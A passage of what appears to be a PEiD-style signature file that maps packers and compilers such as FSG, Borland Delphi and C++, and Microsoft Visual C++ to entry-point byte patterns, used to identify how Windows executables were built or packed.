?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = 91 EB 02 CD 20 BF 50 BC 04 6F 91 BE D0 ?? ?? 6F EB 02 CD 20 2B F7 EB 02 F0 46 8D 1D F4 00 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 5.0 / 6.0)] -signature = 33 D2 0F BE D2 EB 01 C7 EB 01 D8 8D 05 80 ?? ?? ?? EB 02 CD 20 EB 01 F8 BE F4 00 00 00 EB -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (MASM32)] -signature = EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)x] -signature = 1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] -signature = 2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)] -signature = C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = C1 CE 10 C1 F6 0F 68 00 ?? ?? 00 2B FA 5B 23 F9 8D 15 80 ?? ?? 00 E8 01 00 00 00 B6 5E 0B -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = EB 01 ?? EB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi 2.0)] -signature = EB 01 56 E8 02 00 00 00 B2 D9 59 68 80 ?? 41 00 E8 02 00 00 00 65 32 59 5E EB 02 CD 20 BB -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++ 1999)] -signature = EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[FSG v1.10 (Eng) -> bart/xt -> (Watcom C/C++ EXE)] -signature = EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (MS Visual C++ / Borland C++ / Watcom C++)] -signature = EB 02 CD 20 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi 4.0 - 5.0)] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 46 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 75 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 7.0)] -signature = EB 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C# / Basic .NET)] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 77 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B3 -ep_only = true - -[FSG 1.31 -> dulek/xt] -signature = BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt] -signature = BB D0 01 40 ?? BF ?? 10 40 ?? BE -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt] -signature = EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? F6 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt] -signature = EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt] -signature = E8 01 00 00 00 ?? ?? E8 ?? 00 00 00 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt] -signature = EB 02 ?? ?? EB 02 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt] -signature = ?? ?? EB ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[FSG v1.10 (Eng) -> bart/xt] -signature = BB D0 01 40 ?? BF ?? 10 40 ?? BE -ep_only = true - -[Microsoft Visual C# / Basic .NET] -signature = FF 25 00 20 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = true - -[MASM32] -signature = 6A ?? 68 00 30 40 00 68 ?? 30 40 00 6A 00 E8 07 00 00 00 6A 00 E8 06 00 00 00 FF 25 08 20 -ep_only = true - -[Video-Lan-Client] -signature = 55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF -ep_only = true - -[Exact Audio Copy] -signature = E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = 03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE EB 02 CD 20 57 EB 02 CD 20 5A 88 10 EB 02 CD 20 40 E8 02 00 00 00 C5 62 5A 4E E8 01 00 00 00 43 5A 2B DB 3B F3 75 B1 C1 F3 0D 92 B8 DC 0C 4E 0D B7 F7 0A 39 F4 B5 ?? ?? 36 FF 45 D9 FA FB FE FD FE CD 6B FE 82 0D 28 F3 B6 A6 A0 71 1F BA 92 9C EE DA FE 0D 47 DB 09 AE DF E3 F6 50 E4 12 9E C8 EC FB 4D EA 77 C9 03 75 E0 D2 D6 E5 E2 8B 41 B6 41 FA 70 B0 A0 AB F9 B5 C0 BF ED 78 25 CB 96 E5 A8 A7 AA A0 DC 5F 73 9D 14 F0 B5 6A 87 B7 3B E5 6D 77 B2 45 8C B9 96 95 A0 DC A2 1E 9C 9B 11 93 08 83 9B F8 9E 0A 8E 10 F7 85 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3 EB 02 42 C0 EB 01 08 88 16 80 F1 98 80 C9 28 46 91 EB 02 C0 55 4B EB 01 55 34 44 0B DB 75 AD E8 01 00 00 00 9D 59 0B C6 EB 01 6C E9 D2 C3 82 C2 03 C2 B2 82 C2 00 ?? ?? 7C C2 6F DA BC C2 C2 C2 CC 1C 3D CF 4C D8 84 D0 0C FD F0 42 77 0D 66 F1 AC C1 DE CE 97 BA D7 EB C3 AE DE 91 AA D5 02 0D 1E EE 3F 23 77 C4 01 72 12 C1 0E 1E 14 82 37 AB 39 01 88 C9 DE CA 07 C2 C2 C2 17 79 49 B2 DA 0A C2 C2 C2 A9 EA 6E 91 AA 2E 03 CF 7B 9F CE 51 FA 6D A2 AA 56 8A E4 C2 C2 C2 07 C2 47 C2 C2 17 B8 42 C6 8D 31 88 45 BA 3D 2B BC -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)] -signature = 33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE 58 80 EA 33 C1 E1 12 32 D3 48 80 C2 26 EB 02 CD 20 88 16 F7 D8 46 EB 01 C0 4B 40 8D 0D 00 00 00 00 3B D9 75 B7 EB 01 14 EB 01 0A CF C5 93 53 90 DA 96 67 54 8D CC ?? ?? 51 8E 18 74 53 82 83 80 47 B4 D2 41 FB 64 31 6A AF 7D 89 BC 0A 91 D7 83 37 39 43 50 A2 32 DC 81 32 3A 4B 97 3D D9 63 1F 55 42 F0 45 32 60 9A 28 51 61 4B 38 4B 12 E4 49 C4 99 09 47 F9 42 8C 48 51 4E 70 CF B8 12 2B 78 09 06 07 17 55 D6 EA 10 8D 3F 28 E5 02 0E A2 58 B8 D6 0F A8 E5 10 EB E8 F1 23 EF 61 E5 E2 54 EA A9 2A 22 AF 17 A1 23 97 9A 1C -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)] -signature = 0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01 F7 2B FE EB 01 7F 81 EF DF 30 90 1E EB 02 CD 20 87 FA 88 10 80 EA 03 40 EB 01 20 4E EB 01 3D 83 FE 00 75 A2 EB 02 CD 20 EB 01 C3 78 73 42 F7 35 6C 2D 3F ED 33 97 ?? ?? ?? 5D F0 45 29 55 57 55 71 63 02 72 E9 1F 2D 67 B1 C0 91 FD 10 58 A3 90 71 6C 83 11 E0 5D 20 AE 5C 71 83 D0 7B 10 97 54 17 11 C0 0E 00 33 76 85 33 3C 33 21 31 F5 50 CE 56 6C 89 C8 F7 CD 70 D5 E3 DD 08 E8 4E 25 FF 0D F3 ED EF C8 0B 89 A6 CD 77 42 F0 A6 C8 19 66 3D B2 CD E7 89 CB 13 D7 D5 E3 1E DF 5A E3 D5 50 DF B3 39 32 C0 2D B0 3F B4 B4 43 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)] -signature = C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6 EB 02 56 7B 2A D3 E8 01 00 00 00 ED 58 88 16 13 C3 46 EB 02 CD 20 4B EB 02 CD 20 2B C9 3B D9 75 A1 E8 02 00 00 00 D7 6B 58 EB 00 9E 96 6A 28 67 AB 69 54 03 3E 7F ?? ?? ?? 31 0D 63 44 35 38 37 18 87 9F 10 8C 37 C6 41 80 4C 5E 8B DB 60 4C 3A 28 08 30 BF 93 05 D1 58 13 2D B8 86 AE C8 58 16 A6 95 C5 94 03 33 6F FF 92 20 98 87 9C E5 B9 20 B5 68 DE 16 4A 15 C1 7F 72 71 65 3E A9 85 20 AF 5A 59 54 26 66 E9 3F 27 DE 8E 7D 34 53 61 F7 AF 09 29 5C F7 36 83 60 5F 52 92 5C D0 56 55 C9 61 7A FD EF 7E E8 70 F8 6E 7B EF -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] -signature = 0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB EE 90 14 2C 77 2A D3 EB 01 87 2A D3 E8 01 00 00 00 92 59 88 16 EB 02 52 08 46 EB 02 CD 20 4B 80 F1 C2 85 DB 75 AE C1 E0 04 EB 00 DA B2 82 5C 9B C7 89 98 4F 8A F7 ?? ?? ?? B1 4D DF B8 AD AC AB D4 07 27 D4 50 CF 9A D5 1C EC F2 27 77 18 40 4E A4 A8 B4 CB 9F 1D D9 EC 1F AD BC 82 AA C0 4C 0A A2 15 45 18 8F BB 07 93 BE C0 BC A3 B0 9D 51 D4 F1 08 22 62 96 6D 09 73 7E 71 A5 3A E5 7D 94 A3 96 99 98 72 B2 31 57 7B FA AE 9D 28 4F 99 EF A3 25 49 60 03 42 8B 54 53 5E 92 50 D4 52 4D C1 55 76 FD F7 8A FC 78 0C 82 87 0F -ep_only = true - -[Microsoft (R) Incremental Linker Version 5.12.8078 (MASM/TASM)->WinASM Studio] -signature=6A 00 68 00 30 40 00 68 1E 30 40 00 6A 00 E8 0D 00 00 00 6A 00 E8 00 00 00 00 FF 25 00 20 40 00 FF 25 08 20 40 -ep_only = true - -[Borland Pascal v7.0 for Windows] -signature = 9A FF FF 00 00 9A FF FF 00 00 55 89 E5 31 C0 9A FF FF 00 00 -ep_only = true - -[Borland C++ for Win32 1994] -signature = A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? 75 ?? 57 51 33 C0 BF -ep_only = true - -[Borland C++ for Win32 1995] -signature = A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76 -ep_only = true - -[Borland C++ for Win32 1995] -signature = A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? 75 ?? 80 ?? ?? ?? ?? ?? ?? 74 -ep_only = true - -[Borland C++ for Win32 1999] -signature = EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 52 -ep_only = true - -[Borland C++ for Win32 1999] -signature = EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 -ep_only = true - -[Borland C++] -signature = A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76 05 2B CF FC F3 AA 59 5F -ep_only = true - -[Borland C++ DLL] -signature = A1 ?? ?? ?? ?? C1 E0 02 A3 -ep_only = true - -[Borland C++ DLL] -signature = EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 -ep_only = true - -[Borland C++ DLL] -signature = EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 A1 C1 E0 02 A3 8B -ep_only = true - -[Borland C++ DLL] -signature = EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 8B -ep_only = true - -[Borland Delphi vx.x (Component)] -signature = C3 E9 ?? ?? ?? FF 8D 40 -ep_only = true - -[Borland Delphi DLL] -signature = 55 8B EC 83 C4 B4 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 40 -ep_only = true - -[Borland Delphi v6.0 - v7.0] -signature = 55 8B EC 83 C4 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = true - -[Borland Delphi v2.0] -signature = E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0A ?? ?? ?? B8 ?? ?? ?? ?? C3 -ep_only = true - -[Borland Delphi v3.0] -signature = 50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3 55 8B EC 33 C0 -ep_only = true - -[Borland Delphi v3.0] -signature = 55 8B EC 83 C4 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[Borland Delphi v4.0 - v5.0] -signature = 50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 ?? ?? ?? ?? C7 42 0C ?? ?? ?? ?? E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3 -ep_only = true - -[Borland Delphi v4.0 - v5.0] -signature = 55 8B EC 83 C4 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 20 -ep_only = true - -[Borland Delphi v4.0 - v5.0] -signature = 50 6A 00 E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 00 00 00 00 C7 42 0C 00 00 00 00 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3 -ep_only = true - -[Borland Delphi v6.0 - v7.0] -signature = BA ?? ?? ?? ?? 83 7D 0C 01 75 ?? 50 52 C6 05 ?? ?? ?? ?? ?? 8B 4D 08 89 0D ?? ?? ?? ?? 89 4A 04 -ep_only = true - -[Borland Delphi v6.0 - v7.0] -signature = 53 8B D8 33 C0 A3 00 ?? ?? ?? 06 A0 0E 80 ?? ?? 0F FA 30 ?? ?? ?? 0A 10 ?? ?? ?? 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? E8 -ep_only = true - -[Borland Delphi v6.0 - v7.0] -signature = 55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? FB FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF 8B 0D ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 8B 15 ?? ?? ?? ?? E8 ?? ?? FF FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF E8 ?? ?? FB FF 8D 40 -ep_only = true - -[Borland Delphi v5.0 KOL/MCK] -signature = 55 8B EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? 00 00 00 -ep_only = true - -[Borland Delphi v5.0 KOL] -signature = 55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF 8B C0 00 00 00 00 00 00 00 00 00 00 00 -ep_only = true - -[Borland Delphi v6.0] -signature = 53 8B D8 33 C0 A3 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? FF A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? E8 -ep_only = true - -[Borland Delphi v6.0] -signature = 55 8B EC 83 C4 F0 B8 ?? ?? 45 00 E8 ?? ?? ?? FF A1 ?? ?? 45 00 8B 00 E8 ?? ?? FF FF 8B 0D -ep_only = true - -[Borland Delphi v6.0 KOL] -signature = 55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF A1 ?? 72 40 00 33 D2 E8 ?? ?? FF FF A1 ?? 72 40 00 8B 00 83 C0 14 E8 ?? ?? FF FF E8 ?? ?? FF FF -ep_only = true - -[Borland Delphi Setup Module] -signature = 55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 -ep_only = true - -[Borland Delphi] -signature = 55 8B EC 83 C4 F4 -ep_only = true - -[Borland Delphi (Component)] -signature = C3 E9 ?? ?? ?? FF 8D 40 -ep_only = true - -[Cygwin32] -signature = 55 89 E5 83 EC 04 83 3D -ep_only = true - -[FASM v1.3x] -signature = 6A ?? FF 15 ?? ?? ?? ?? A3 -ep_only = true - -[Free Pascal v0.99.10] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29 -ep_only = true - -[LCC Win32 v1.x] -signature = 64 A1 ?? ?? ?? ?? 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 ?? 50 -ep_only = true - -[LCC Win32 DLL] -signature = 55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 ?? ?? ?? FF 75 10 FF 75 0C FF 75 08 A1 -ep_only = true - -[Microsoft Visual C++] -signature = 8B 44 24 08 56 83 E8 ?? 74 ?? 48 75 -ep_only = true - -[Microsoft Visual C++] -signature = 8B 44 24 08 83 ?? ?? 74 -ep_only = true - -[Microsoft Visual C v2.0] -signature = 53 56 57 BB ?? ?? ?? ?? 8B ?? ?? ?? 55 3B FB 75 -ep_only = true - -[Microsoft Visual C++ vx.x] -signature = 55 8B EC 56 57 BF ?? ?? ?? ?? 8B ?? ?? 3B F7 0F -ep_only = true - -[Microsoft Visual C++ vx.x] -signature = 53 55 56 8B ?? ?? ?? 85 F6 57 B8 ?? ?? ?? ?? 75 ?? 8B ?? ?? ?? ?? ?? 85 C9 75 ?? 33 C0 5F 5E 5D 5B C2 -ep_only = true - -[Microsoft Visual C++ v4.x] -signature = 64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57 -ep_only = true - -[Microsoft Visual C++ v4.2] -signature = 64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? FF -ep_only = true - -[Microsoft Visual C++ v4.2] -signature = 64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? C7 -ep_only = true - -[Microsoft Visual C++ v4.2 DLL] -signature = 53 B8 ?? ?? ?? ?? 8B ?? ?? ?? 56 57 85 DB 55 75 -ep_only = true - -[Microsoft Visual C++ v5.0] -signature = 55 8B EC 6A FF 68 68 64 A1 00 00 00 00 50 64 89 